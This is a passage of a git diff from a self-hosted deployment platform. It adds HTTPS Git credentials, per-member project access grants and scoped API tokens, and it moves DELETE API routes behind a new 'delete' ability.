-15900,6 +15916,10 @@ components: type: string nullable: true description: 'Git full URL.' + git_https_username: + type: string + nullable: true + description: 'Username for HTTPS access to a private repository on a custom Git host. The password or token is never returned.' docker_registry_image_name: type: string nullable: true diff --git a/resources/views/components/domain-conflict-modal.blade.php b/resources/views/components/domain-conflict-modal.blade.php index 5ad53bc787..e476c1e9d0 100644 --- a/resources/views/components/domain-conflict-modal.blade.php +++ b/resources/views/components/domain-conflict-modal.blade.php @@ -39,7 +39,7 @@
  • {{ $conflict['domain'] }} is used by - @if ($conflict['resource_type'] === 'instance') + @if ($conflict['resource_type'] === 'instance' || blank($conflict['resource_link'] ?? null)) {{ $conflict['resource_name'] }} @else @if (isSubscribed() || !isCloud()) @php + // Members limited to some projects only see project pages; team-level pages return 403 for them. + $teamWide = app(App\Services\Access\AccessResolver::class)->coversWholeTeam(auth()->user(), currentTeam()->id); // An entry with children opens a submenu in place of the main menu (back button + its pages). $navSections = collect([ 'Workspace' => [ ['label' => 'Dashboard', 'icon' => 'dashboard', 'href' => '/', 'active' => request()->is('/', 'dashboard/*', 'canvas')], ['label' => 'Projects', 'icon' => 'projects', 'href' => route('project.index'), 'active' => request()->is('projects', 'projects/*', 'project/*')], - ['label' => 'Monitoring', 'icon' => 'graph', 'children' => [ + ['label' => 'Monitoring', 'icon' => 'graph', 'visible' => $teamWide, 'children' => [ ['label' => 'Analytics', 'icon' => 'analytics', 'href' => route('analytics'), 'active' => request()->is('analytics')], ['label' => 'Metrics', 'icon' => 'graph', 'href' => route('metrics'), 'active' => request()->is('metrics')], ]], - ['label' => 'Terminal', 'icon' => 'browser-terminal', 'href' => route('terminal'), 'active' => request()->is('terminal*'), 'navigate' => false, 'visible' => auth()->user()?->can('canAccessTerminal')], + ['label' => 'Terminal', 'icon' => 'browser-terminal', 'href' => route('terminal'), 'active' => request()->is('terminal*'), 'navigate' => false, 'visible' => $teamWide && auth()->user()?->can('canAccessTerminal')], ], 'Infrastructure' => [ - ['label' => 'Servers', 'icon' => 'servers', 'href' => '/servers', 'active' => request()->is('server/*', 'servers', 'servers/*')], - ['label' => 'Integrations', 'icon' => 'link', 'children' => [ + ['label' => 'Servers', 'icon' => 'servers', 'href' => '/servers', 'active' => request()->is('server/*', 'servers', 'servers/*'), 'visible' => $teamWide], + ['label' => 'Integrations', 'icon' => 'link', 'visible' => $teamWide, 'children' => [ ['label' => 'Sources', 'icon' => 'sources', 'href' => route('source.all'), 'active' => request()->is('sources', 'source/*')], ['label' => 'Destinations', 'icon' => 'destinations', 'href' => route('destination.index'), 'active' => request()->is('destinations', 'destination/*')], ['label' => 'Registries', 'icon' => 'layers', 'href' => route('registries.index'), 'active' => request()->is('registries'), 'visible' => auth()->user()?->isAdmin()], ['label' => 'S3 Storage', 'icon' => 'storages', 'href' => route('storage.index'), 'active' => request()->is('storages', 'storages/*')], ]], ['label' => 'Shared Variables', 'icon' => 'variables', 'children' => [ - ['label' => 'Overview', 'icon' => 'dashboard', 'href' => route('shared-variables.index'), 'active' => request()->is('shared-variables')], - ['label' => 'Team', 'icon' => 'teams', 'href' => route('shared-variables.team.index'), 'active' => request()->is('shared-variables/team*')], + ['label' => 'Overview', 'icon' => 'dashboard', 'href' => route('shared-variables.index'), 'active' => request()->is('shared-variables'), 'visible' => $teamWide], + ['label' => 'Team', 'icon' => 'teams', 'href' => route('shared-variables.team.index'), 'active' => request()->is('shared-variables/team*'), 'visible' => $teamWide], ['label' => 'Projects', 'icon' => 'projects', 'href' => route('shared-variables.project.index'), 'active' => request()->is('shared-variables/projects', 'shared-variables/project/*')], ['label' => 'Environments', 'icon' => 'layers', 'href' => route('shared-variables.environment.index'), 'active' => request()->is('shared-variables/environments*')], - ['label' => 'Servers', 'icon' => 'servers', 'href' => route('shared-variables.server.index'), 'active' => request()->is('shared-variables/servers', 'shared-variables/server/*')], + ['label' => 'Servers', 'icon' => 'servers', 'href' => route('shared-variables.server.index'), 'active' => request()->is('shared-variables/servers', 'shared-variables/server/*'), 'visible' => $teamWide], ]], ], 'Manage' => [ - ['label' => 'Team', 'icon' => 'teams', 'children' => [ + ['label' => 'Team', 'icon' => 'teams', 'visible' => $teamWide, 'children' => [ ['label' => 'General', 'icon' => 'settings', 'href' => route('team.index'), 'active' => request()->is('team')], ['label' => 'Members', 'icon' => 'teams', 'href' => route('team.member.index'), 'active' => request()->is('team/members*')], ['label' => 'Audit log', 'icon' => 'time-back', 'href' => route('team.audit-log'), 'active' => request()->is('team/audit-log'), 'visible' => auth()->user()?->isAdminOfTeam(currentTeam()->id)], ['label' => 'Admin View', 'icon' => 'admin', 'href' => route('team.admin-view'), 'active' => request()->is('team/admin'), 'visible' => isInstanceAdmin()], ['label' => 'Danger Zone', 'icon' => 'danger', 'href' => route('team.danger-zone'), 'active' => request()->is('team/danger'), 'visible' => auth()->user()?->can('delete', currentTeam()), 'sectionStart' => true], ]], - ['label' => 'Notifications', 'icon' => 'notifications', 'children' => [ + ['label' => 'Notifications', 'icon' => 'notifications', 'visible' => $teamWide, 'children' => [ ['label' => 'Email', 'icon' => 'mail', 'href' => route('notifications.email'), 'active' => request()->is('notifications/email')], ['label' => 'Discord', 'brandIcon' => 'discord', 'href' => route('notifications.discord'), 'active' => request()->is('notifications/discord')], ['label' => 'Telegram', 'brandIcon' => 'telegram', 'href' => route('notifications.telegram'), 'active' => request()->is('notifications/telegram')], @@ -151,15 +153,15 @@ ['label' => 'Webhook', 'icon' => 'destinations', 'href' => route('notifications.webhook'), 'active' => request()->is('notifications/webhook')], ]], ['label' => 'Keys & Tokens', 'icon' => 'keys', 'children' => [ - ['label' => 'Private Keys', 'icon' => 'keys', 'href' => route('security.private-key.index'), 'active' => request()->is('security/private-key*')], - ['label' => 'Cloud Tokens', 'icon' => 'cloud', 'href' => route('security.cloud-tokens'), 'active' => request()->is('security/cloud-tokens*'), 'visible' => auth()->user()?->can('viewAny', App\Models\CloudProviderToken::class)], - ['label' => 'Integration Tokens', 'icon' => 'network', 'href' => route('security.integration-tokens'), 'active' => request()->is('security/integration-tokens'), 'visible' => auth()->user()?->can('viewAny', App\Models\IntegrationToken::class)], - ['label' => 'Cloud-Init Scripts', 'icon' => 'file-content', 'href' => route('security.cloud-init-scripts'), 'active' => request()->is('security/cloud-init-scripts*'), 'visible' => auth()->user()?->can('viewAny', App\Models\CloudInitScript::class)], + ['label' => 'Private Keys', 'icon' => 'keys', 'href' => route('security.private-key.index'), 'active' => request()->is('security/private-key*'), 'visible' => $teamWide], + ['label' => 'Cloud Tokens', 'icon' => 'cloud', 'href' => route('security.cloud-tokens'), 'active' => request()->is('security/cloud-tokens*'), 'visible' => $teamWide && auth()->user()?->can('viewAny', App\Models\CloudProviderToken::class)], + ['label' => 'Integration Tokens', 'icon' => 'network', 'href' => route('security.integration-tokens'), 'active' => request()->is('security/integration-tokens'), 'visible' => $teamWide && auth()->user()?->can('viewAny', App\Models\IntegrationToken::class)], + ['label' => 'Cloud-Init Scripts', 'icon' => 'file-content', 'href' => route('security.cloud-init-scripts'), 'active' => request()->is('security/cloud-init-scripts*'), 'visible' => $teamWide && auth()->user()?->can('viewAny', App\Models\CloudInitScript::class)], ['label' => 'API Tokens', 'icon' => 'code', 'href' => route('security.api-tokens'), 'active' => request()->is('security/api-tokens')], ]], - ['label' => 'Subscription', 'icon' => 'subscription', 'href' => isCloud() ? route('subscription.show') : '', 'active' => request()->is('subscription*'), 'visible' => isCloud() && auth()->user()->isAdmin()], - ['label' => 'Tags', 'icon' => 'tags', 'href' => route('tags.show'), 'active' => request()->is('tags*', 'canvas/tags')], - ['label' => 'Settings', 'icon' => 'settings', 'visible' => isInstanceAdmin(), 'children' => [ + ['label' => 'Subscription', 'icon' => 'subscription', 'href' => isCloud() ? route('subscription.show') : '', 'active' => request()->is('subscription*'), 'visible' => $teamWide && isCloud() && auth()->user()->isAdmin()], + ['label' => 'Tags', 'icon' => 'tags', 'href' => route('tags.show'), 'active' => request()->is('tags*', 'canvas/tags'), 'visible' => $teamWide], + ['label' => 'Settings', 'icon' => 'settings', 'visible' => $teamWide && isInstanceAdmin(), 'children' => [ ['label' => 'General', 'icon' => 'settings', 'href' => route('settings.index'), 'active' => request()->is('settings')], ['label' => 'Advanced', 'icon' => 'grid', 'href' => route('settings.advanced'), 'active' => request()->is('settings/advanced')], ['label' => 'Updates', 'icon' => 'refresh3', 'href' => route('settings.updates'), 'active' => request()->is('settings/updates')], diff --git a/resources/views/livewire/dashboard.blade.php b/resources/views/livewire/dashboard.blade.php index 617d8d4767..c0ab94172c 100644 --- a/resources/views/livewire/dashboard.blade.php +++ b/resources/views/livewire/dashboard.blade.php @@ -259,6 +259,7 @@ @endif + @if ($showsTeamSections)
    + + @if ($application->deploymentType() === 'other') + + @if ($hasGitHttpsPassword) + @can('update', $application) + + + Remove credentials + + + @endcan + @endif +
    + + +
    +
    + @endif @if (filled($privateKeyId)) diff --git a/resources/views/livewire/project/resource/index.blade.php b/resources/views/livewire/project/resource/index.blade.php index a761bb24a9..8ec57b14ef 100644 --- a/resources/views/livewire/project/resource/index.blade.php +++ b/resources/views/livewire/project/resource/index.blade.php @@ -38,7 +38,7 @@ Shared variables
    - @can('createAnyResource') + @can('createAnyResource', [$environment]) @@ -50,7 +50,7 @@ @if ($environment->isEmpty()) - @can('createAnyResource') + @can('createAnyResource', [$environment]) diff --git a/resources/views/livewire/security/api-tokens.blade.php b/resources/views/livewire/security/api-tokens.blade.php index 9054bac22b..db953bdc3b 100644 --- a/resources/views/livewire/security/api-tokens.blade.php +++ b/resources/views/livewire/security/api-tokens.blade.php @@ -65,6 +65,13 @@ :checked="in_array('write', $permissions)" :disabled="in_array('root', $permissions) || !$canUseWritePermissions" /> +
    + +
    + +
    +
    +

    Access

    + +
    +
    + + @if ($scopeMode === 'selected') + + @endif +
    +
    @endcan @@ -181,14 +207,23 @@
    -
    - {{ $token->name }} +
    +
    + {{ $token->name }} +
    +
    + @if ($token->scopes === null) + All resources in the team + @else + {{ collect($token->scopes)->map(fn ($scope) => $scopeLabels[($scope['scope'] ?? '').':'.($scope['uuid'] ?? '')] ?? 'Unavailable '.($scope['scope'] ?? 'scope'))->join(', ') }} + @endif +
    @foreach ($token->abilities ?? [] as $ability) $ability === 'root', + 'border-error/20 bg-error/10 text-error' => in_array($ability, ['root', 'delete']), 'border-warning/20 bg-warning/10 text-warning' => in_array($ability, ['write', 'write:sensitive']), 'border-coollabs/20 bg-coollabs/10 text-coollabs dark:border-brand-light/20 dark:bg-brand/15 dark:text-brand-light' => $ability === 'deploy', 'border-neutral-200 bg-neutral-100 text-neutral-600 dark:border-white/[0.08] dark:bg-white/[0.06] dark:text-fg-dim' => in_array($ability, ['read', 'read:sensitive']), diff --git a/resources/views/livewire/team/member.blade.php b/resources/views/livewire/team/member.blade.php index dd8d92573a..1ae1a9cc4f 100644 --- a/resources/views/livewire/team/member.blade.php +++ b/resources/views/livewire/team/member.blade.php @@ -31,6 +31,13 @@ class="inline-flex rounded-full bg-neutral-100 px-2 py-0.5 text-[10px] font-medium capitalize text-neutral-600 dark:bg-white/[0.06] dark:text-fg-dim"> {{ data_get($member, 'pivot.role') }} + @can('manageMembers', currentTeam()) + @if (data_get($member, 'pivot.role') === 'member') +
    + {{ App\Livewire\Team\Member\Access::summary(data_get($member, 'pivot.access')) }} +
    + @endif + @endcan
    @can('manageMembers', currentTeam())
    @@ -81,6 +88,12 @@ @endif @endif + @if (data_get($member, 'pivot.role') === 'member') + + @endif
    + @if ($projectOptions->isNotEmpty()) +
    + + +
    + @endif + + +
    + + @if (count($grants) === 0) + + This member will not see any project, environment, or resource in this team. + + @endif + + @foreach ($grants as $index => $grant) +
    +
    +
    + +
    + +
    +
    + @foreach ($levels as $level) + + @endforeach +
    + @error("grants.{$index}.levels") +

    {{ $message }}

    + @enderror +
    + @endforeach + +
    + +
    +
    + + + Cancel + Save + + + @endif +
    diff --git a/resources/views/livewire/team/member/index.blade.php b/resources/views/livewire/team/member/index.blade.php index ad57866ae8..8f6d8a2224 100644 --- a/resources/views/livewire/team/member/index.blade.php +++ b/resources/views/livewire/team/member/index.blade.php @@ -136,6 +136,10 @@ next-disabled="page >= lastPage" /> + @can('manageMembers', currentTeam()) + + @endcan + @can('manageInvitations', currentTeam()) diff --git a/routes/api.php b/routes/api.php index f2efce3b00..8993a4abf1 100644 --- a/routes/api.php +++ b/routes/api.php @@ -95,7 +95,7 @@ Route::group([ Route::get('/team/envs', [SharedEnvironmentVariablesController::class, 'team_envs'])->middleware(['api.ability:read']); Route::post('/team/envs', [SharedEnvironmentVariablesController::class, 'team_create_env'])->middleware(['api.ability:write']); Route::patch('/team/envs/{env_id}', [SharedEnvironmentVariablesController::class, 'team_update_env'])->middleware(['api.ability:write']); - Route::delete('/team/envs/{env_id}', [SharedEnvironmentVariablesController::class, 'team_delete_env'])->middleware(['api.ability:write']); + Route::delete('/team/envs/{env_id}', [SharedEnvironmentVariablesController::class, 'team_delete_env'])->middleware(['api.ability:delete']); Route::get('/teams/{id}', [TeamController::class, 'team_by_id'])->middleware(['api.ability:read']); Route::get('/teams/{id}/members', [TeamController::class, 'members_by_id'])->middleware(['api.ability:read']); @@ -106,46 +106,46 @@ Route::group([ Route::get('/projects/{uuid}/envs', [SharedEnvironmentVariablesController::class, 'project_envs'])->middleware(['api.ability:read']); Route::post('/projects/{uuid}/envs', [SharedEnvironmentVariablesController::class, 'project_create_env'])->middleware(['api.ability:write']); Route::patch('/projects/{uuid}/envs/{env_id}', [SharedEnvironmentVariablesController::class, 'project_update_env'])->middleware(['api.ability:write']); - Route::delete('/projects/{uuid}/envs/{env_id}', [SharedEnvironmentVariablesController::class, 'project_delete_env'])->middleware(['api.ability:write']); + Route::delete('/projects/{uuid}/envs/{env_id}', [SharedEnvironmentVariablesController::class, 'project_delete_env'])->middleware(['api.ability:delete']); Route::get('/projects/{uuid}/environments/{environment_name_or_uuid}/envs', [SharedEnvironmentVariablesController::class, 'environment_envs'])->middleware(['api.ability:read']); Route::post('/projects/{uuid}/environments/{environment_name_or_uuid}/envs', [SharedEnvironmentVariablesController::class, 'environment_create_env'])->middleware(['api.ability:write']); Route::patch('/projects/{uuid}/environments/{environment_name_or_uuid}/envs/{env_id}', [SharedEnvironmentVariablesController::class, 'environment_update_env'])->middleware(['api.ability:write']); - Route::delete('/projects/{uuid}/environments/{environment_name_or_uuid}/envs/{env_id}', [SharedEnvironmentVariablesController::class, 'environment_delete_env'])->middleware(['api.ability:write']); + Route::delete('/projects/{uuid}/environments/{environment_name_or_uuid}/envs/{env_id}', [SharedEnvironmentVariablesController::class, 'environment_delete_env'])->middleware(['api.ability:delete']); Route::get('/projects/{uuid}/{environment_name_or_uuid}', [ProjectController::class, 'environment_details'])->middleware(['api.ability:read']); Route::post('/projects/{uuid}/environments', [ProjectController::class, 'create_environment'])->middleware(['api.ability:write']); Route::patch('/projects/{uuid}/environments/{environment_name_or_uuid}', [ProjectController::class, 'update_environment'])->middleware(['api.ability:write']); - Route::delete('/projects/{uuid}/environments/{environment_name_or_uuid}', [ProjectController::class, 'delete_environment'])->middleware(['api.ability:write']); + Route::delete('/projects/{uuid}/environments/{environment_name_or_uuid}', [ProjectController::class, 'delete_environment'])->middleware(['api.ability:delete']); Route::post('/projects', [ProjectController::class, 'create_project'])->middleware(['api.ability:write']); Route::patch('/projects/{uuid}', [ProjectController::class, 'update_project'])->middleware(['api.ability:write']); - Route::delete('/projects/{uuid}', [ProjectController::class, 'delete_project'])->middleware(['api.ability:write']); + Route::delete('/projects/{uuid}', [ProjectController::class, 'delete_project'])->middleware(['api.ability:delete']); Route::get('/security/keys', [SecurityController::class, 'keys'])->middleware(['api.ability:read']); Route::post('/security/keys', [SecurityController::class, 'create_key'])->middleware(['api.ability:write']); Route::get('/security/keys/{uuid}', [SecurityController::class, 'key_by_uuid'])->middleware(['api.ability:read']); Route::patch('/security/keys/{uuid}', [SecurityController::class, 'update_key'])->middleware(['api.ability:write']); - Route::delete('/security/keys/{uuid}', [SecurityController::class, 'delete_key'])->middleware(['api.ability:write']); + Route::delete('/security/keys/{uuid}', [SecurityController::class, 'delete_key'])->middleware(['api.ability:delete']); Route::post('/security/integration-tokens', [IntegrationTokensController::class, 'store'])->middleware(['api.ability:write']); Route::get('/cloud-tokens', [CloudProviderTokensController::class, 'index'])->middleware(['api.ability:read']); Route::post('/cloud-tokens', [CloudProviderTokensController::class, 'store'])->middleware(['api.ability:write']); Route::get('/cloud-tokens/{uuid}', [CloudProviderTokensController::class, 'show'])->middleware(['api.ability:read']); Route::patch('/cloud-tokens/{uuid}', [CloudProviderTokensController::class, 'update'])->middleware(['api.ability:write']); - Route::delete('/cloud-tokens/{uuid}', [CloudProviderTokensController::class, 'destroy'])->middleware(['api.ability:write']); + Route::delete('/cloud-tokens/{uuid}', [CloudProviderTokensController::class, 'destroy'])->middleware(['api.ability:delete']); Route::post('/cloud-tokens/{uuid}/validate', [CloudProviderTokensController::class, 'validateToken'])->middleware(['api.ability:write']); Route::get('/cloud-init-scripts', [CloudInitScriptsController::class, 'index'])->middleware(['api.ability:read']); Route::post('/cloud-init-scripts', [CloudInitScriptsController::class, 'store'])->middleware(['api.ability:write']); Route::get('/cloud-init-scripts/{uuid}', [CloudInitScriptsController::class, 'show'])->middleware(['api.ability:read']); Route::patch('/cloud-init-scripts/{uuid}', [CloudInitScriptsController::class, 'update'])->middleware(['api.ability:write']); - Route::delete('/cloud-init-scripts/{uuid}', [CloudInitScriptsController::class, 'destroy'])->middleware(['api.ability:write']); + Route::delete('/cloud-init-scripts/{uuid}', [CloudInitScriptsController::class, 'destroy'])->middleware(['api.ability:delete']); Route::get('/s3-storages', [S3StoragesController::class, 'index'])->middleware(['api.ability:read']); Route::post('/s3-storages', [S3StoragesController::class, 'store'])->middleware(['api.ability:write']); Route::get('/s3-storages/{uuid}', [S3StoragesController::class, 'show'])->middleware(['api.ability:read']); Route::patch('/s3-storages/{uuid}', [S3StoragesController::class, 'update'])->middleware(['api.ability:write']); - Route::delete('/s3-storages/{uuid}', [S3StoragesController::class, 'destroy'])->middleware(['api.ability:write']); + Route::delete('/s3-storages/{uuid}', [S3StoragesController::class, 'destroy'])->middleware(['api.ability:delete']); Route::post('/s3-storages/{uuid}/validate', [S3StoragesController::class, 'validateStorage'])->middleware(['api.ability:write']); Route::get('/deploy', [OtherController::class, 'post_required'])->middleware(['api.ability:deploy']); @@ -162,7 +162,7 @@ Route::group([ Route::get('/servers/{uuid}/envs', [SharedEnvironmentVariablesController::class, 'server_envs'])->middleware(['api.ability:read']); Route::post('/servers/{uuid}/envs', [SharedEnvironmentVariablesController::class, 'server_create_env'])->middleware(['api.ability:write']); Route::patch('/servers/{uuid}/envs/{env_id}', [SharedEnvironmentVariablesController::class, 'server_update_env'])->middleware(['api.ability:write']); - Route::delete('/servers/{uuid}/envs/{env_id}', [SharedEnvironmentVariablesController::class, 'server_delete_env'])->middleware(['api.ability:write']); + Route::delete('/servers/{uuid}/envs/{env_id}', [SharedEnvironmentVariablesController::class, 'server_delete_env'])->middleware(['api.ability:delete']); // Server subsystem APIs (Docker cleanup, log drains, Sentinel, Cloudflare Tunnel). Route::get('/servers/{uuid}/docker-cleanup', [ServerDockerCleanupController::class, 'show'])->middleware(['api.ability:read']); @@ -185,7 +185,7 @@ Route::group([ Route::get('/destinations', [DestinationsController::class, 'index'])->middleware(['api.ability:read']); Route::get('/destinations/{uuid}', [DestinationsController::class, 'show'])->middleware(['api.ability:read']); Route::patch('/destinations/{uuid}', [DestinationsController::class, 'update'])->middleware(['api.ability:write']); - Route::delete('/destinations/{uuid}', [DestinationsController::class, 'delete'])->middleware(['api.ability:write']); + Route::delete('/destinations/{uuid}', [DestinationsController::class, 'delete'])->middleware(['api.ability:delete']); Route::get('/servers/{server_uuid}/destinations', [DestinationsController::class, 'index_by_server'])->middleware(['api.ability:read']); Route::post('/servers/{server_uuid}/destinations', [DestinationsController::class, 'create'])->middleware(['api.ability:write']); @@ -195,7 +195,7 @@ Route::group([ Route::get('/servers/{uuid}/registries', [ServerDockerRegistriesController::class, 'index'])->middleware(['api.ability:read:sensitive']); Route::post('/servers/{uuid}/registries', [ServerDockerRegistriesController::class, 'login'])->middleware(['api.ability:write', 'api.ability:deploy']); Route::post('/servers/{uuid}/registries/{registry}/check', [ServerDockerRegistriesController::class, 'check'])->middleware(['api.ability:write']); - Route::delete('/servers/{uuid}/registries/{registry}', [ServerDockerRegistriesController::class, 'logout'])->middleware(['api.ability:write']); + Route::delete('/servers/{uuid}/registries/{registry}', [ServerDockerRegistriesController::class, 'logout'])->middleware(['api.ability:delete']); Route::get('/servers/{uuid}/proxy', [ServerProxyController::class, 'show'])->middleware(['api.ability:read']); Route::patch('/servers/{uuid}/proxy', [ServerProxyController::class, 'update'])->middleware(['api.ability:write']); @@ -209,7 +209,7 @@ Route::group([ Route::post('/servers/{uuid}/transfer/complete', [ServerTransferController::class, 'complete'])->middleware(['api.ability:write']); Route::post('/servers/{uuid}/migrate', [ServerTransferController::class, 'migrate'])->middleware(['api.ability:write']); Route::patch('/servers/{uuid}', [ServersController::class, 'update_server'])->middleware(['api.ability:write']); - Route::delete('/servers/{uuid}', [ServersController::class, 'delete_server'])->middleware(['api.ability:write']); + Route::delete('/servers/{uuid}', [ServersController::class, 'delete_server'])->middleware(['api.ability:delete']); Route::get('/hetzner/locations', [HetznerController::class, 'locations'])->middleware(['api.ability:read']); Route::get('/hetzner/server-types', [HetznerController::class, 'serverTypes'])->middleware(['api.ability:read']); @@ -243,7 +243,7 @@ Route::group([ Route::get('/tags', [TagsController::class, 'tags'])->middleware(['api.ability:read']); Route::post('/tags', [TagsController::class, 'create'])->middleware(['api.ability:write']); Route::patch('/tags/{uuid}', [TagsController::class, 'update'])->middleware(['api.ability:write']); - Route::delete('/tags/{uuid}', [TagsController::class, 'delete'])->middleware(['api.ability:write']); + Route::delete('/tags/{uuid}', [TagsController::class, 'delete'])->middleware(['api.ability:delete']); Route::get('/applications', [ApplicationsController::class, 'applications'])->middleware(['api.ability:read']); Route::post('/applications/public', [ApplicationsController::class, 'create_public_application'])->middleware(['api.ability:write']); @@ -254,20 +254,20 @@ Route::group([ Route::get('/applications/{uuid}', [ApplicationsController::class, 'application_by_uuid'])->middleware(['api.ability:read']); Route::patch('/applications/{uuid}', [ApplicationsController::class, 'update_by_uuid'])->middleware(['api.ability:write']); - Route::delete('/applications/{uuid}', [ApplicationsController::class, 'delete_by_uuid'])->middleware(['api.ability:write', 'api.ability:deploy']); + Route::delete('/applications/{uuid}', [ApplicationsController::class, 'delete_by_uuid'])->middleware(['api.ability:delete']); Route::patch('/applications/{uuid}/secret-manager', [ApplicationSecretManagerController::class, 'update'])->middleware(['api.ability:write']); Route::get('/applications/{uuid}/envs', [ApplicationsController::class, 'envs'])->middleware(['api.ability:read']); Route::post('/applications/{uuid}/envs', [ApplicationsController::class, 'create_env'])->middleware(['api.ability:write']); Route::patch('/applications/{uuid}/envs/bulk', [ApplicationsController::class, 'create_bulk_envs'])->middleware(['api.ability:write']); Route::patch('/applications/{uuid}/envs', [ApplicationsController::class, 'update_env_by_uuid'])->middleware(['api.ability:write']); - Route::delete('/applications/{uuid}/envs/{env_uuid}', [ApplicationsController::class, 'delete_env_by_uuid'])->middleware(['api.ability:write']); + Route::delete('/applications/{uuid}/envs/{env_uuid}', [ApplicationsController::class, 'delete_env_by_uuid'])->middleware(['api.ability:delete']); Route::get('/applications/{uuid}/logs', [ApplicationsController::class, 'logs_by_uuid'])->middleware(['api.ability:read:sensitive']); Route::get('/applications/{uuid}/previews/{pull_request_id}/logs', [ApplicationsController::class, 'logs_by_uuid'])->middleware(['api.ability:read:sensitive']); Route::get('/applications/{uuid}/storages', [ApplicationsController::class, 'storages'])->middleware(['api.ability:read']); Route::post('/applications/{uuid}/storages', [ApplicationsController::class, 'create_storage'])->middleware(['api.ability:write']); Route::patch('/applications/{uuid}/storages', [ApplicationsController::class, 'update_storage'])->middleware(['api.ability:write']); - Route::delete('/applications/{uuid}/storages/{storage_uuid}', [ApplicationsController::class, 'delete_storage'])->middleware(['api.ability:write']); + Route::delete('/applications/{uuid}/storages/{storage_uuid}', [ApplicationsController::class, 'delete_storage'])->middleware(['api.ability:delete']); Route::put('/applications/{uuid}/storages/{storage_uuid}/backups', [VolumeBackupsController::class, 'upsert']) ->defaults('resource_type', 'application') ->middleware(['api.ability:write']); @@ -276,11 +276,11 @@ Route::group([ ->middleware(['api.ability:write', 'api.ability:deploy']); Route::delete('/applications/{uuid}/storages/{storage_uuid}/backups', [VolumeBackupsController::class, 'destroy']) ->defaults('resource_type', 'application') - ->middleware(['api.ability:write']); + ->middleware(['api.ability:delete']); Route::get('/applications/{uuid}/tags', [ApplicationsController::class, 'tags'])->middleware(['api.ability:read']); Route::post('/applications/{uuid}/tags', [ApplicationsController::class, 'create_tag'])->middleware(['api.ability:write']); - Route::delete('/applications/{uuid}/tags/{tag_uuid}', [ApplicationsController::class, 'delete_tag'])->middleware(['api.ability:write']); + Route::delete('/applications/{uuid}/tags/{tag_uuid}', [ApplicationsController::class, 'delete_tag'])->middleware(['api.ability:delete']); Route::post('/applications/{uuid}/move', [ApplicationsController::class, 'move_by_uuid'])->middleware(['api.ability:write']); Route::post('/applications/{uuid}/migrate', [ApplicationsController::class, 'migrate_by_uuid'])->middleware(['api.ability:write']); @@ -289,7 +289,7 @@ Route::group([ Route::post('/applications/{uuid}/rollback', [ApplicationsController::class, 'rollback_by_uuid'])->middleware(['api.ability:deploy']); Route::get('/applications/{uuid}/destinations', [ApplicationsController::class, 'destinations'])->middleware(['api.ability:read']); Route::post('/applications/{uuid}/destinations', [ApplicationsController::class, 'add_destination'])->middleware(['api.ability:write']); - Route::delete('/applications/{uuid}/destinations/{destination_uuid}', [ApplicationsController::class, 'remove_destination'])->middleware(['api.ability:write']); + Route::delete('/applications/{uuid}/destinations/{destination_uuid}', [ApplicationsController::class, 'remove_destination'])->middleware(['api.ability:delete']); Route::get('/applications/{uuid}/start', [OtherController::class, 'post_required'])->middleware(['api.ability:deploy']); Route::get('/applications/{uuid}/restart', [OtherController::class, 'post_required'])->middleware(['api.ability:deploy']); Route::get('/applications/{uuid}/stop', [OtherController::class, 'post_required'])->middleware(['api.ability:deploy']); @@ -301,19 +301,19 @@ Route::group([ Route::post('/applications/{uuid}/previews', [ApplicationPreviewsController::class, 'store'])->middleware(['api.ability:deploy']); Route::get('/applications/{uuid}/previews/{pull_request_id}', [ApplicationPreviewsController::class, 'show'])->middleware(['api.ability:read']); Route::patch('/applications/{uuid}/previews/{pull_request_id}', [ApplicationsController::class, 'update_preview_by_pull_request_id'])->middleware(['api.ability:write']); - Route::delete('/applications/{uuid}/previews/{pull_request_id}', [ApplicationsController::class, 'delete_preview_by_pull_request_id'])->middleware(['api.ability:write', 'api.ability:deploy']); + Route::delete('/applications/{uuid}/previews/{pull_request_id}', [ApplicationsController::class, 'delete_preview_by_pull_request_id'])->middleware(['api.ability:delete']); Route::get('/github-apps', [GithubController::class, 'list_github_apps'])->middleware(['api.ability:read']); Route::post('/github-apps', [GithubController::class, 'create_github_app'])->middleware(['api.ability:write']); Route::patch('/github-apps/{github_app_id}', [GithubController::class, 'update_github_app'])->middleware(['api.ability:write']); - Route::delete('/github-apps/{github_app_id}', [GithubController::class, 'delete_github_app'])->middleware(['api.ability:write']); + Route::delete('/github-apps/{github_app_id}', [GithubController::class, 'delete_github_app'])->middleware(['api.ability:delete']); Route::get('/github-apps/{github_app_id}/repositories', [GithubController::class, 'load_repositories'])->middleware(['api.ability:read']); Route::get('/github-apps/{github_app_id}/repositories/{owner}/{repo}/branches', [GithubController::class, 'load_branches'])->middleware(['api.ability:read']); Route::get('/gitlab-apps', [GitlabController::class, 'list_gitlab_apps'])->middleware(['api.ability:read']); Route::post('/gitlab-apps', [GitlabController::class, 'create_gitlab_app'])->middleware(['api.ability:write']); Route::patch('/gitlab-apps/{gitlab_app_id}', [GitlabController::class, 'update_gitlab_app'])->middleware(['api.ability:write']); - Route::delete('/gitlab-apps/{gitlab_app_id}', [GitlabController::class, 'delete_gitlab_app'])->middleware(['api.ability:write']); + Route::delete('/gitlab-apps/{gitlab_app_id}', [GitlabController::class, 'delete_gitlab_app'])->middleware(['api.ability:delete']); Route::get('/databases', [DatabasesController::class, 'databases'])->middleware(['api.ability:read']); Route::post('/databases/postgresql', [DatabasesController::class, 'create_database_postgresql'])->middleware(['api.ability:write']); @@ -335,15 +335,15 @@ Route::group([ Route::patch('/databases/{uuid}', [DatabasesController::class, 'update_by_uuid'])->middleware(['api.ability:write']); Route::post('/databases/{uuid}/backups', [DatabasesController::class, 'create_backup'])->middleware(['api.ability:write']); Route::patch('/databases/{uuid}/backups/{scheduled_backup_uuid}', [DatabasesController::class, 'update_backup'])->middleware(['api.ability:write']); - Route::delete('/databases/{uuid}', [DatabasesController::class, 'delete_by_uuid'])->middleware(['api.ability:write', 'api.ability:deploy']); + Route::delete('/databases/{uuid}', [DatabasesController::class, 'delete_by_uuid'])->middleware(['api.ability:delete']); Route::get('/databases/{uuid}/logs', [DatabasesController::class, 'logs_by_uuid'])->middleware(['api.ability:read:sensitive']); - Route::delete('/databases/{uuid}/backups/{scheduled_backup_uuid}', [DatabasesController::class, 'delete_backup_by_uuid'])->middleware(['api.ability:write']); - Route::delete('/databases/{uuid}/backups/{scheduled_backup_uuid}/executions/{execution_uuid}', [DatabasesController::class, 'delete_execution_by_uuid'])->middleware(['api.ability:write']); + Route::delete('/databases/{uuid}/backups/{scheduled_backup_uuid}', [DatabasesController::class, 'delete_backup_by_uuid'])->middleware(['api.ability:delete']); + 